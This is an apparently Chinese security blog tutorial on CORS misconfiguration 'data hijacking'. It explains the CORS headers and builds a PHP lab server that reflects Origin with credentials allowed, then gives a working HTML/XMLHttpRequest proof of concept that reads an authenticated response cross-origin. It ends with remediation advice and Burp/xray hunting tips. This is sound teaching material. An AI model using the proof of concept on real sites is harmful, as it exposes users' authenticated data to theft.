Stories

Detail Return Return

深入瞭解CORS數據劫持漏洞 - Stories Detail

1.1. CORS介紹

CORS(跨源資源共享)是一種用於在Web應用程序中處理跨域請求的機制。當一個Web應用程序在瀏覽器中向不同的域(源)發起跨域請求時,瀏覽器會執行同源策略,限制了跨域請求的默認行為。同源策略要求Web應用程序只能訪問與其本身源(協議、域名和端口)相同的資源。

然而,在某些情況下,我們希望允許來自其他源的跨域請求,例如使用AJAX進行跨域數據訪問或在前端應用程序中嵌入來自不同域的資源(如字體、樣式表或腳本)。這時就需要使用CORS來解決跨域請求的限制。

CORS通過在服務器端設置響應頭來進行配置。當瀏覽器發起跨域請求時,服務器可以通過設置特定的CORS響應頭來告知瀏覽器是否允許該請求。常見的CORS響應頭包括以下幾個:

  1. Access-Control-Allow-Origin:指定允許訪問該資源的源。可以是具體的源(如http://example.com)或通配符(*),表示允許來自任意源的訪問。
  2. Access-Control-Allow-Methods:指定允許的HTTP方法(如GET、POST、PUT等)。
  3. Access-Control-Allow-Headers:指定允許的請求頭字段。
  4. Access-Control-Allow-Credentials:指定是否允許發送身份憑證(如cookies、HTTP認證等)。
  5. Access-Control-Max-Age:指定預檢請求(OPTIONS)的有效期,以減少對服務器的頻繁請求。

在前端代碼中,如果要發送跨域請求,可以通過XMLHttpRequest對象或fetch API添加額外的請求頭來指示瀏覽器發起CORS請求。瀏覽器會自動在發送請求時檢查響應中的CORS頭信息,並根據配置決定是否允許該請求。

具體可參考MDN DOC

1.2. 漏洞介紹

因為需要配置CORS響應頭來告知瀏覽器是否允許該請求,所以如果配置不當,就可能導致攻擊者通過惡意網站或代碼執行跨域請求,從而獲取或篡改用户的敏感數據(危害和CSRF類似,不過可以劫持返回的內容)

1.3. 漏洞復現

1.3.1. 環境搭建

實戰過程中,主要是Origin可控以及Access-Control-Allow-Credentials設置為True,這樣才能劫持到數據,簡單的漏洞復現環境如下:

php代碼,保存為index.php

<?php
$userInfo = array(
    'username' => 'd4m1ts',
    'phone' => '13888888888'
);
$jsonResponse = json_encode($userInfo);

// 檢查是否存在Origin頭
if (isset($_SERVER['HTTP_ORIGIN'])) {
    // 設置Access-Control-Allow-Origin為請求中的Origin值
    header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);

    // 設置Access-Control-Allow-Credentials為True
    header('Access-Control-Allow-Credentials: true');
}

// 檢查是否設置了名為admin的Cookie
if (isset($_COOKIE['admin'])) {
    header('Content-Type: application/json');
    echo $jsonResponse;
} else {
  echo "unauth";
}
?>

簡易啓動php web服務

php -S 127.0.0.1:9999

1.3.2. 復現過程

直接打開會提示unauth

unauth

根據代碼,需要在Cookie中設置字段admin

Note

瀏覽器默認SameSite是Lax,Lax的情況下無法發送至第三方上下文中,所以需要設置一下,不然無法劫持!

document.cookie = "admin=1; SameSite=None"

設置後刷新就可以拿到數據了,我們假設這是敏感數據,後續即使對這個數據進行劫持。

auth


假設http://internal.gm7.org:9999/是目標,測試過程中在請求數據包頭添加Origin字段,觀察響應包,發現Origin可控,且Access-Control-Allow-Credentials: true,還沒有驗證referer,就説明可以劫持了。

ac

編寫POC如下:

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://internal.gm7.org:9999/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

放到第三方網站上,可見成功劫持

success

1.3.3. 特別説明

如果要CORS攜帶Cookie,同時成功利用該漏洞,需要滿足如下幾個條件

  1. Cookie的SameSite屬性值為None,但目前瀏覽器默認幾乎都是Lax
  2. 響應頭中的Access-Control-Allow-Origin不能為通配符*,而是應指定具體的域名,否則只能發起請求,無法獲取到響應
  3. 服務器的響應頭需要包含Access-Control-Allow-Credentials: true
  4. 在發起Ajax請求時,需要將withCredentials設置為true

1.4. 修復建議

  1. 限制Access-Control-Allow-Origin的值為可信源,儘可能設置白名單,不能為*,也不能為null
  2. 避免Access-Control-Allow-Credentials的值為True
  3. 設置Access-Control-Allow-Methods(允許的 HTTP 方法)、Access-Control-Allow-Headers(允許的請求頭)

1.5. 挖掘技巧

可以在burpsuite中勾選替換條件,自動增加Origin

burp

然後從響應頭中查看是否可控Origin以及是否包含Access-Control-Allow-Credentials: true

resp

也可以掛着xray去掃,不過誤報率可能會比較高,大多都不是敏感信息,沒啥意思,不過反正都需要人工去判斷,看個人喜好吧。

Add a new Comments

Some HTML is okay.